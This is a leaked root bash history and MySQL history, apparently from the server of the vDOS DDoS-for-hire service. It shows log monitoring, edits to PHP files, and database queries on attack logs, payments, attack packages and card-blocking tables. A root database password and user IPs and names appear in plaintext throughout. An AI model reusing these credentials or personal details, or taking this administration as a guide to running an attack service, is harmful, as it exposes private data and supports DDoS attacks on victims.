service httpd restart
cd /var/www/api.vdos-s.com/
ls
cd public_html/
ls
nano index.php
php index.php
nano index.php
cat ../request.log | grep 248.15.162.127″
cat ../request.log | grep 248.15.162.127
tail -f ../request.log | grep 248.15.162.127
clear
tail -f ../request.log | grep 248.15.162.127
tail -f ../request.log | grep 45.63.19.241
tail -f ../request.log | grep 45.63.19.241\|248.15.162.127\|79.176.100.237″
tail -f ../request.log | grep 45.63.19.241\|248.15.162.127\|79.176.100.237
tail -f ../request.log | grep “45.63.19.241\|248.15.162.127\|79.176.100.23”
clear
tail -f ../request.log | grep “45.63.19.241\|248.15.162.127\|79.176.100.23”
clear
tail -f ../request.log | grep “45.63.19.241\|248.15.162.127\|79.176.100.23”
nano ap
nano index.php
tail -f ../request.log | grep “45.63.19.241\|248.15.162.127\|79.176.100.23\|107.191.53.204”
clear
tail -f ../request.log | grep “45.63.19.241\|248.15.162.127\|79.176.100.23\|107.191.53.204”
htop
cd /var/www/api.vdos-s.com/public_html/
nano index.php
htop
cd /var/www/u/public_html/
ls
history | grep mysql
sudo mysql -u root -p945gnjs0dijfa-099
htop
history | grep mysql
sudo mysql -u root -p945gnjs0dijfa-099 vdos;
htop
cd /var/www/vdos-s.com/
tail -f error.log
find / | grep “httpd.conf”
nano /etc/httpd/conf/httpd.conf
find / | grep “mysqld.conf”
find / | grep “mysqld”
find / | grep “mysql”
find / | grep “mysql.conf”
find / | grep “my.conf”
cd /etc
ls
nano my.cnf
service mysqld restart
ls
cd /var/www/vdos-s.com/
cat requests.log | grep t.co | tail -100
cat requests.log | grep “t.co” | tail -100
tail -f /var/www/api.vdos-s.com/request.log | grep “45.63.19.241\|248.15.162.127\|79.176.100.23\|107.191.53.204”
clear
tail -f /var/www/api.vdos-s.com/request.log | grep “45.63.19.241\|248.15.162.127\|79.176.100.23\|107.191.53.204”
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos;
htop
cd /var/www/trigon.io/
ls
cd public_html/
ls
nano 3d3.php
tail -f ../request.log
nano 3d3.php
htop
dstat
tail -f /var/www/api.vdos-s.com/request.log | grep “45.63.19.241\|248.15.162.127\|79.176.100.23\|107.191.53.204”
clear
tail -f /var/www/api.vdos-s.com/request.log | grep “45.63.19.241\|248.15.162.127\|79.176.100.23\|107.191.53.204”
history | grep mysql
sudo mysql -u root -p945gnjs0dijfa-099 vdos;
clear
tail -f /var/www/api.vdos-s.com/request.log | grep “45.63.19.241\|248.15.162.127\|79.176.100.23\|107.191.53.204”
sudo mysql -u root -p945gnjs0dijfa-099 vdos;
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos;
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos;
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos;
htop
clear
history | grep mysql
sudo mysql -u root -p945gnjs0dijfa-099 vdos;
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos;
clear
htop
cd /var/www/api.vdos-s.com/
;s
ls
cd public_html/
ls
rm -rf code.html
ls
clear
dstat
htop
history | grep mysql
sudo mysql -u root -p945gnjs0dijfa-099 vdos;
htop
יןדאםרט
history
tail -f /var/www/api.vdos-s.com/request.log | grep “45.63.19.241\|248.15.162.127\|79.176.100.23\|107.191.53.204”
clear
tail -f /var/www/api.vdos-s.com/request.log | grep “45.63.19.241\|248.15.162.127\|79.176.100.23\|107.191.53.204”
htop
tail -f /var/www/api.vdos-s.com/request.log | grep “45.63.19.241\|248.15.162.127\|79.176.100.23\|107.191.53.204”
sudo mysql -u root -p945gnjs0dijfa-099 vdos;
בךקשר
clear
tail -f /var/www/api.vdos-s.com/request.log | grep “45.63.19.241\|248.15.162.127\|79.176.100.23\|107.191.53.204”
sudo mysql -u root -p945gnjs0dijfa-099 vdos;
dstat
htop
ifconfig
sudo mysql -u root -p945gnjs0dijfa-099 vdos;
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos;
htop
cd /var/www/htl
cd /var/www/html
la
cd ../
ls
cd api.vdos-s.com/
l
ls
cd public_html/
ls
cd ../
histor
cat request.log | grep “45.63.19.241”
cat request.log | grep “248.15.162.127”
cat request.log | grep “248.15.162.127” | grep “25/Jun/2016”
cat request.log | grep “248.15.162.127” | grep “25/Jun/2016” | wc -l
cat request.log | grep “248.15.162.127” | grep “25/Jun/2016” | wc -l /7
(cat request.log | grep “248.15.162.127” | grep “25/Jun/2016” | wc -l )/7
cat request.log | grep “248.15.162.127” | grep “25/Jun/2016” | $(wc -l )/7
cat request.log | grep “248.15.162.127” | grep “25/Jun/2016” | $((wc -l ))/7
cat request.log | grep “248.15.162.127” | grep “25/Jun/2016” | wc -l
cat request.log | grep “248.15.162.127” | grep “24/Jun/2016” | wc -l
cd public_html/
ls
nano index.php
php index.php
nano index.php
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos;
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos;
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos;
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos;
גדאשא
dtat
dstat
ps x
screen -r
top -c
dstat
tail -f /var/www/vdos-s.com/requests.log
tail -f /var/www/ust/requests.log
tail -f /var/www/u/requests.log
ls
cd /var/www/u/
ls
cd public_html/
ls
ls /var/www/vdos-s.com/public_html/
ls /var/www/vdos-s.com/public_html/panel/
ls /var/www/vdos-s.com/
dstat
ls /var/www/vdos-s.com/
ls /var/www/vdos-s.com/public_html/
ls /var/www/u/public_html/
mkdir logs
chmod 777 logs/
ls
cd logs/
ls
s
ls
;s
ls
dstat
ls
nano lol.php
rm -rf lol.php
cd ../
nano lol.php
nano panel/lol.php
mv panel/lol.php panel/lool.php
nano lo
nano lol.php
rm -rf lol.php
cd panel/
rm -rf lool.php
cd ../
cd logs/
nano index.php
rm -rf index.php
crontab -e
cd /var/www/u/public_html/ && git pull origin master
ls
cd logs/
ls
rm -rf *
ls
tail -f log_26-06-2016\ 18\:00.txt
ls
rm -rf *
ls
tail -f log_26-06-2016\ 18\:01.txt
ls
rm -rf *
ls
tail -f *
dstat
ls
tail -f block.txt
htop
dstat
htop
history | grep mysql
sudo mysql -u root -p945gnjs0dijfa-099 vdos;
ps -aux
history | grep mysql
sudo mysql -u root -p945gnjs0dijfa-099 vdos;
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos;
htop
htop
cat /var/www/u/request.log | grep robots.txt
cat /var/www/u/requests.log | grep robots.txt
ifconfig
screen -r
screen -r 9562.pts-0.webserver
screen -r 27627.pts-0.webserver
clear
history | grep mysql
sudo mysql -u root -p945gnjs0dijfa-099
screen -r
screen -r 27627.pts-0.webserver
sudo mysql -u root -p945gnjs0dijfa-099 vdos
htop
screen -r
screen -r 27627.pts-0.webserver
sudo mysql -u root -p945gnjs0dijfa-099 vdos
htop
screen -r
screen -r 27627.pts-0.webserver
[s x
ps x
clear
dstat
screen -r
screen -r 27627.pts-0.webserver
dstat
screen -r
screen -r 27627.pts-0.webserver
htop
dstat
screen -r
ps x
kill 9562
kill 9563
screen -r
cat /var/www/vdos-s.com/requests.log | grep reddit
cat /var/www/vdos-s.com/requests.log | grep blog | grep reddit
cat /var/www/vdos-s.com/requests.log | grep reddit
screen -r
htop
screen -r
screen -D -r
htop
clear
ls
history | grep mysql
sudo mysql -u root -p945gnjs0dijfa-099 vdos
screen -r
sudo mysql -u root -p945gnjs0dijfa-099 vdos
screen -r
dstat
screen -r
htop
history
sudo mysql -u root -p945gnjs0dijfa-099 vdos
screen -r
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos
htop
history | grep mysql
sudo mysql -u root -p945gnjs0dijfa-099 vdos
screen -r
htop
screen -r
htop
screen -r
htop
dstat
sudo mysql -u root -p945gnjs0dijfa-099 vdos
screen -r
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos
htop
dstat
htop
screen -r
htop
גדאשא
dstat
screen -r
htop
screen -r
htop
screen -r
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos
screen -r
htop
screen -r
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos
htop
screen -r
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos
htop
גדאשא
dstat
tail -f /var/www/vdos-s.com/requests.log
tail -f /var/www/83144692.com/requests.log
dstat
htop
history | grep httpd
nano /etc/httpd/conf/httpd.conf
service httpd restart
screen -r
dstat
sudo mysql -u root -p945gnjs0dijfa-099 vdos
dstat
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos
cd /var/www/html
ls
cd ../
ls
cd api.vdos-s.com
ls
cd public_html
ls
head lllllll.php
mv lllllll.php bigpein.php
nano bigpein.php
top -c
nano bigpein.php
top -c
ls
cat bigpein.php
top -c
cd /var/log
ls
cd httpd
ls
tail -f access_log
ls
wc -l access_log
cd /var/log
cd /var/www
ls
cd api.vdos-s.com
ls
tail -f request.log
top -c
tail -f request.log
top -c
htop
dstat
ifconfig
nano /var/www/api.vdos-s.com/public_html/id
nano /var/www/api.vdos-s.com/public_html/index.php
top -c
ls
htop
who
ls
cd /var/www/u/public_html/blog/
ls
ls -la
nano .htaccess
cd wp-co
cd wp-content/
ls
chmod 777 &
ls
chmod * 777
ls
chmod 777 *
ls
cd ../../
ls
d ../
ls
cd ../
ls
tail -f error.log
find / | grep “my.cnf”
nan o/etc/my.cnf
nano /etc/my.cnf
nano /etc/my.cnf.d
cd /etc/my.cnf.d/
ls
cd ../
ls
clear
service mysqld restart
cd /var/www/u/error.log
tail -f /var/www/u/error.log
htop
history | grep mysl
history | grep mysql
sudo mysql -u root -p945gnjs0dijfa-099 vdos
htop
ifconfig
cd /var/www/api.vdos-s.com/
cat request.log | grep -v “82.118.233.198” | tail
tail -f request.log | grep “109.236.92.157”
htop
cd /var/www
ls
cd api.vdos-s.com
ls
cd public_html
ls
cat bigpein.php
cd ../
;s
ls
tail -f request.log
ls
cd public_html
ls
nano bigpein.php
cd ../
tail -f request.log
top -c
ifconfig
tcpdump -n dst port 80
top -c
htop
tcpdump -n dst port 80
בךקש
בךקשר
ךד
בךclear
clear
ls
clear
history | grep mysql
sudo mysql -u root -p945gnjs0dijfa-099 vdos
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos
htop
cat /var/www/vdos-s.com/requests.log | grep “bail”
htop
dstat
cd /var/www/vdos-s.com/public_html/
ls
cd ../
ls
cd public_html/
l
cd panel/
ls
cd ../
ls
cd log
cd logs/
tai block.txt
tail block.txt
cd /var/www/api.vdos-s.com/public_html/
ls
cd tv/
ls
dstat
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos
htop
history | grep mysql
history | grep back
history | grep backup
history
ls
dstat
htop
cd /var/www/api.vdos-s.com/public_html/
ls tv/
php sdarot.php 88 1 5
php sdarot.php 88 1 6
php sdarot.php 88 1 7
dsta
dstat
cd /var/www/vdos-s.com/
tail -f requests.log
tail -f /var/www/u/request
tail -f /var/www/u/request.log
tail -f /var/www/u/requests.log
tail -f /var/www/83144692.com/requests.log
dstat
sudo mysql -u root -p945gnjs0dijfa-099 vdos
cd /var/www
ls
cd vdos-s.com
ls
tail -f requests.log
ls
tail -f requests.log
cd ../
ls
cd 83144692
cd 83144692.com
ls
tail -f requests.log
dstat
tail -f requests.log
ls
cd /var/www/vdos-s.com
tail -f requests.log
htop
cd /var/www/vdos-s.com/
cat requests.log | grep 0359ddc.com
cd ../api.vdos-s.com/
cd public_html/
nano fxp.html
htop
cd /var/www/api.vdos-s.com/public_html/
rm -rf fxp.html.save
nano fxp.html
rm -rf fxp.html
nano fxp.html
nano index.php
who
last
last | head
ls
nano index.php
history
cat request.log | grep -v “82.118.233.198” | tail
cd ../
cat request.log | grep -v “82.118.233.198” | tail
date
ifconfig
htop
cd /var/www/api.vdos-s.com/public_html/
ls
nano bigpein.php
rm -rf bigpein.php
nano asdfasf.php
rm -rf fxp.html
ls
clear
cd ~/
ls
nano cron.php
crontab -e
history | grep mysql
sudo mysql -u root -p945gnjs0dijfa-099 vdos
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos
nano cookies.txt
ls
nano cron.php
dstat
sudo mysql -u root -p945gnjs0dijfa-099 ustress
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos
top -c
cd /var/www/html
ls
cd /var/log
ls
cd /var/www/html
ls
cd ../
ls
cd vdos-s.com
ls
tail -f requests.log
cd ../
ls
cd api.vdos-s.com
ls
tail -f request.log
cd ../
ls
cd 831*
ls
tail -f requsts.log
tail -f requests.log
top -c
service httpd status
cd /root
ls
service httpd restart
ls
cd /var/www/vdos-s.com
tail -f requests.log
top -c
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos
htop
dstat
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos
screen -r
screen
top -c
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos
history | grep backup
mysqldump -u root -p945gnjs0dijfa-099 vdos > /root/backups/$(date +%F).sql
sudo mysql -u root -p945gnjs0dijfa-099 vdos
dstat
top -c
nano 1.sh
htop
dstat
tail -f /var/www/83144692.com/requests.log
dstat
ps -ef | grep apache
cd /usr/sbin/httpd
l
/usr/sbin/apache2 -V | grep SERVER_CONFIG_FILE
/usr/sbin/httpd -V | grep SERVER_CONFIG_FILE
nano conf/httpd.conf
nano /usr/sbin/conf/httpd.conf
nano /etc/httpd/conf/httpd.conf
service httpd restart
htop
dstat
nano conf/httpd.conf
ndstat
dstat
tail -f /var/www/83144692.com/requests.log
גדאשא
dstat
tail -f /var/www/u/requests.log
tail -f /var/www/vdos-s.com/requests.log
tail -f /var/www/vdos-s.com/request.log
tail -f /var/www/vdos-s.com/requests.log
dstat
tail -f /var/www/vdos-s.com/requests.log
tail -f /var/www/83144692.com/requests.log
dstat
htop
dstat
dsta
dstat
tail -f /var/www/83144692.com/requests.log
dstat
htop
dstat
htop
htop
cat /var/www/83144692.com/requests.log  | grep wordpress
sudo mysql -u root -p945gnjs0dijfa-099 vdos
htop
sudo mysql -u root -p945gnjs0dijfa-099 vdos
iptables –flush
service iptables restart;iptables –flush
ls
cat firewall.sh
service iptables restart;sh firewall.sh
top -c
cd /var/www
ls
cd vdos-s.com
ls
tail -f requests.log
cd ../
ls
cd 831*
ls
tail -f requests.log
ls
cd public_html
ls
mkdir temporary
mv * temporary
ls
service httpd restart
dls
nano index.php
cd ../
ls
tail -f requests.log
cd /root
cat firewall.sh
cd /var/www
cd 831*
tail -f requests.log
htop
cd /var/www/vdos-s.com
ls
cd public_html
ls
cd pages
ls
cd panel
ls
cd pages
ls
cat stress.php
cd ../../../
ls
cd ../
cd 831*
tail -f requests.log
top -c
cd /var/www/831*/public_html/temporary
cd /root
top -c
history
sudo mysql -u root -p945gnjs0dijfa-099 vdos

Root’s .mysql_history

delete from `payments` where `paypalemail` = 00013Z;
delete from `payments` where `paypalemail` = ‘00013Z’;
describe attacklogs;
describe payments;
SELECT sum(amount) from `payments` WHERE `package` like ‘%VIP%’
;
SELECT sum(amount) from `payments` WHERE `refunded` = 0 AND `date` LIKE ‘%01-2016%’;
htop
describe `attacklogs`
;
remove from `attacklogs` where `userid` = 85801;
remove from `attacklogs` where `userid` = ‘85801’;
delete from `attacklogs` where `userid` = 85801;
describe logs;
delete from `logs` where `Username` = ‘Unknown’;
SELECT `text` from `replys` where `text` like ‘%VIP%’
;
SELECT `text` from `replys` where `text` like ‘%service%’;
SELECT `text` from `replys` where `text` like ‘%we do not offer%’;
SELECT `text` from `replys` where `text` like ‘%our vip is%’;
SELECT `text` from `replys` where `text` like ‘%our vip%’;
SELECT `text` from `replys` where `text` like ‘%better than vip%’;
SELECT `text` from `replys` where `text` like ‘%better vip%’;
SELECT `text` from `replys` where `text` like ‘%stronger than vip%’;
SELECT `text` from `replys` where `text` like ‘%stronger then vip%’;
SELECT `text` from `replys` where `text` like ‘%stronger%’ AND `text` like ‘%vip%’;
SELECT `text` from `replys` where `text` like ‘%better%’ AND `text` like ‘%vip%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%better%’ AND `text` like ‘%vip%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%harder%’ AND `text` like ‘%vip%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%we can’t offer you%’;
;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%we can/’t offer you%’;
;
SELECT `text`,`ticketid` from `replys` where `text` like “%we can’t offer you”;
SELECT `text`,`ticketid` from `replys` where `text` like “%we can’t offer”;
SELECT `text`,`ticketid` from `replys` where `text` like “%we don’t offer”;
SELECT `text`,`ticketid` from `replys` where `text` like “%we do nor offer”;
SELECT `text`,`ticketid` from `replys` where `text` like “%we do not offer”;
SELECT `text`,`ticketid` from `replys` where `text` like “%we can’t offer%”;
SELECT `text`,`ticketid` from `replys` where `text` like “%we don’t offer%”;
SELECT `text`,`ticketid` from `replys` where `text` like “%someone paid%”;
SELECT `text`,`ticketid` from `replys` where `text` like “%we don’t offer%”;
SELECT `text`,`ticketid` from `replys` where `text` like “%we do not offer refunds%”;
SELECT `text`,`ticketid` from `replys` where `text` like “%we do not offer%”;
SELECT `text`,`ticketid` from `replys` where `text` like “%we do not offer any refunds%”;
SELECT `text`,`ticketid` from `replys` where `text` like “%refunds%”;
\M-W\M^Y\M-W\M^P\M-W\M^]\M-W\M-$\012
SELECT `username` FROM `users` WHERE `expire` = ‘ifetime’ AND `vip` = 1;
SELECT `username` FROM `users` WHERE `expire` = ‘lifetime’ AND `vip` = 1;
CREATE TABLE `vdos`.`bad_cards` ( `id` INT NOT NULL AUTO_INCREMENT , `userid` INT(10) NOT NULL , `hashed_card` VARCHAR(35) NOT NULL , PRIMARY KEY (`id`)) ENGINE = InnoDB;
show tables;
select * from bad_cards
;
select * from `bad_cards`;
describe bad_cards;
select * from `bad_cards`;
DELETE FROM `bad_cards` WHERE `id` = 2;
select * from `bad_cards`;
DELETE FROM `bad_cards` WHERE `id` = 3;
select * from `bad_cards`;
describe logs;
select * from `logs` where `Action` like ‘%failed%’ order by ID asc;
select * from `logs` where `Action` like ‘%failed%’ order by ID asc limit 10;
select * from `logs` where `Action` like ‘%failed%’ order by ID ASC limit 10;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 10;
select * from `bad_cards`
;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 10;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select count(*) from `logs` where `Action` like ‘%failed%’ where `Date` LIKE ‘%18-02-2016%’;
select count(*) from `logs` where `Action` like ‘%failed%’ and where `Date` LIKE ‘%18-02-2016%’;
select count(*) from `logs` where `Action` like ‘%failed%’ AND `Date` LIKE ‘%18-02-2016%’;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 50;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
ALTER TABLE `logs` ADD `hidden` INT(1) NOT NULL AFTER `platform`;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 200;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select count(*) from `logs` where `Action` like ‘%failed%’ and where `Date` LIKE ‘%20-02-2016%’;
select count(*) from `logs` where `Action` like ‘%failed%’ and  `Date` LIKE ‘%20-02-2016%’;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select count(*) from `logs` where `Action` like ‘%failed%’ and  `Date` LIKE ‘%20-02-2016%’;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select count(*) from `logs` where `Action` like ‘%failed%’ and  `Date` LIKE ‘%20-02-2016%’;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 40;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select * from `payments` order by ID DESC limit 20;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
DELETE from `payments` WHERE `paypalemail` = 00013Z;
DELETE from `payments` WHERE `paypalemail` = ‘00013Z’;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 40;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
time;
time
time;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
date;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
describe logs;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
ALTER TABLE `logs` CHANGE `Action` `Action` VARCHAR(255) CHARACTER SET latin1 COLLATE latin1_swedish_ci NOT NULL;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select count(*) from `logs` where `Action` like ‘%failed%’ and  `Date` LIKE ‘%22-02-2016%’;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select * from `payments` order by ID DESC limit 20;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select * from `payments` order by ID DESC limit 20;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
ALTER TABLE `payments` ADD `high_risk` INT(1) NOT NULL AFTER `refunded`;
DELETE from `payments` WHERE `paypalemail` = 00013Z;
DELETE from `payments` WHERE `paypalemail` = ‘00013Z’;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select * from `payments` order by ID DESC limit 20;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select * from `bad_cards` where hashed_card = ‘407452d5209f5ae3b7da8145660dd266’
;
select * from `bad_cards` where hashed_card = ‘888e4a02038fe6f3463477e90d975a25’;
delete from `bad_cards` where id = 513;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select * from `bad_cards` where hashed_card = ‘888e4a02038fe6f3463477e90d975a25’;
DELETE FROM `logs` where `Username` = ‘Crudivore’ AND `Action` like ‘%failed%’;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select * from `bad_cards` where hashed_card = ‘e2095058da0327fc6cb6028cd182e1cf’;
INSERT INTO `bad_cards` values ;
desribe bad_cards;
describe bad_cards;
INSERT INTO `bad_cards` values(NULL,’374403′,’e2095058da0327fc6cb6028cd182e1cf’);
select * from `bad_cards` where hashed_card = ‘e2095058da0327fc6cb6028cd182e1cf’;
select * from `bad_cards`;
clear
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
SELECT `text`,`ticketid` from `replys` where `text` like “%trust \M-W\M^X\M-W\M^]\M-W\M^U%”;\012
SELECT `text`,`ticketid` from `replys` where `text` like “%trust you%’;
;
SELECT `text`,`ticketid` from `replys` where `text` like “%trust you%”;
SELECT `text`,`ticketid` from `replys` where `text` like “%trust%”;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
delete from `bad_cards` where `hashed_card` = ‘1b9183c1fd9a7516f45d884b1b225c25’;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
delete from `bad_cards` where `hashed_card` = ‘1b9183c1fd9a7516f45d884b1b225c25’;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
delete from `bad_cards` where `hashed_card` = ‘1b9183c1fd9a7516f45d884b1b225c25’;
delete from `bad_cards` where `hashed_card` = ‘22915a8f93651c295c2a8573d7bbe7bb’;
delete from `bad_cards` where `hashed_card` = ‘1b9183c1fd9a7516f45d884b1b225c25’;
select * from `logs` where `Action` like ‘%8401_472409%’ order by ID DESC limit 20;
delete from `bad_cards` where `hashed_card` = ‘1b9183c1fd9a7516f45d884b1b225c25’;
select * from `bad_cards` where `hashed_card` = ‘1b9183c1fd9a7516f45d884b1b225c25’;
select * from `logs` where `Action` like ‘%8401_472409%’ order by ID DESC limit 20;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 50;
delete from `bad_cards` where `hashed_card` = ‘6e338145950cd764481edc0bff440ebe’;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 50;
select * from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
SELECT `text`,`ticketid` from `replys` where `text` like “14AAu2BVvAALH8TB7zM5AtYad3zNhT5P4g%’;
SELECT `text`,`ticketid` from `replys` where `text` like ’14AAu2BVvAALH8TB7zM5AtYad3zNhT5P4g%’;
SELECT `text`,`id` from `tickets` where `text` like ’14AAu2BVvAALH8TB7zM5AtYad3zNhT5P4g%’;
SELECT `text`,`id` from `tickets` where `text` like ‘%14AAu2BVvAALH8TB7zM5AtYad3zNhT5P4g%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%14AAu2BVvAALH8TB7zM5AtYad3zNhT5P4g%’;
select * from `payments` order by ID DESC limit 20;
describe mailbox;
delete from `mailbox` where `toid` = 85801;
delete from `bad_cards` where `hashed_card` = ‘e236661e488d2d237f72b74a9d94fa89’;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
delete from `bad_cards` where `hashed_card` = ‘e236661e488d2d237f72b74a9d94fa89’;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
delete from `bad_cards` where `hashed_card` = ‘e236661e488d2d237f72b74a9d94fa89’;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select * from `bad_cards` where `hashed_card` = ‘7ea365737dbe005835b48d8417aa284d’;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
describe logs;
DELETE from `logs` where `Username` = ‘P1st’ AND `Action` like ‘%failed%’;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
UPDATE `users` SET expire = ‘lifetime’ where `username` = ‘p1st’;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select count(*) from logs;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
SELECT `text`,`id` from `tickets` where `text` like ‘%|%’;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
mysql_query(‘INSERT INTO `bad_cards` (id,userid,hashed_card) VALUES (NULL,’.$action->user_id($_SESSION[‘username’]).”,'”.md5($fourlastdigs.str_replace(‘ ‘, ”, substr($_POST[‘number’], 0, -12))).”‘)”);
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 30;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 50;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 40;
describe logs;
describe attacklogs;
SELECT * FROM `attacklogs` WHERE `untill` > “.$now.” AND `stopped` = 0 AND (`userid` = ‘17720’ OR `userid` = ‘372915’)
;
SELECT * FROM `attacklogs` WHERE `untill` > 1457214006 AND `stopped` = 0 AND (`userid` = ‘17720’ OR `userid` = ‘372915’)
;
SELECT * FROM `attacklogs` WHERE `untill` > “.$now.” AND `stopped` = 0 AND (`userid` = ‘4130’ OR userid` = ‘17720’ OR `userid` = ‘372915’)
;
SELECT `text`,`ticketid` from `replys` where `text` like ‘%did you pay via%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘% you pay via%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘% Bitcoin or credit%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘% hence you%’;
SELECT `text`,`ticketid` from `replys` where `text` like ‘% hence%’;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 50;
select * from `packs`
;
select * from `packs`;
update set `pp` = 1 where id = 128;
update `packs` set `pp` = 1 where id = 128;
update `packs` set `pp` = 1 where id = 127;
update `packs` set `concurrentattacks` = 1 where id = 128;
select * from `packs`;
update `packs` set `concurrentattacks` = 2 where id = 128;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 20;
select username,Action,IP,Date from `logs` where `Action` like ‘%failed%’ order by ID DESC limit 50;
select `Action` from `logs` where `username` = ‘P1st’ order by `id` desc limit 20;
select `Action`,’IP’ from `logs` where `username` = ‘P1st’ order by `id` desc limit 50;
select `Action`,’date’ from `logs` where `username` = ‘P1st’ order by `id` desc limit 50;
select `Action`,`date` from `logs` where `username` = ‘P1st’ order by `id` desc limit 50;
update `packs` set `concurrentattacks` = 1 where id = 128;
select * from `payments` order by ID DESC limit 20;
select * from `payments` order by ID DESC limit 50;
select count(*) from `users` WHERE `email` LIKE ‘%qq.com%’;
select count(*) from `users` WHERE `email` LIKE ‘%qq.com%’ AND `vip` = 1;
select * from `payments` order by ID DESC limit 20;
select `username`,`Action`,`Date` from `logs` where `Username` = ‘P1st’ OR `Username` = ‘anti’ OR `Username` = ‘ryanlol’;
select `username`,`Action`,`Date` from `logs` where `Username` = ‘P1st’ OR `Username` = ‘anti’ OR `Username` = ‘ryanlol’ order by `id` desc limit 50;
update `servers` set `layer` = 4 where `id` = 237;
update `servers` set `layer` = 4 where `id` = 238;
update `servers` set `layer` = 4 where `id` = 239;
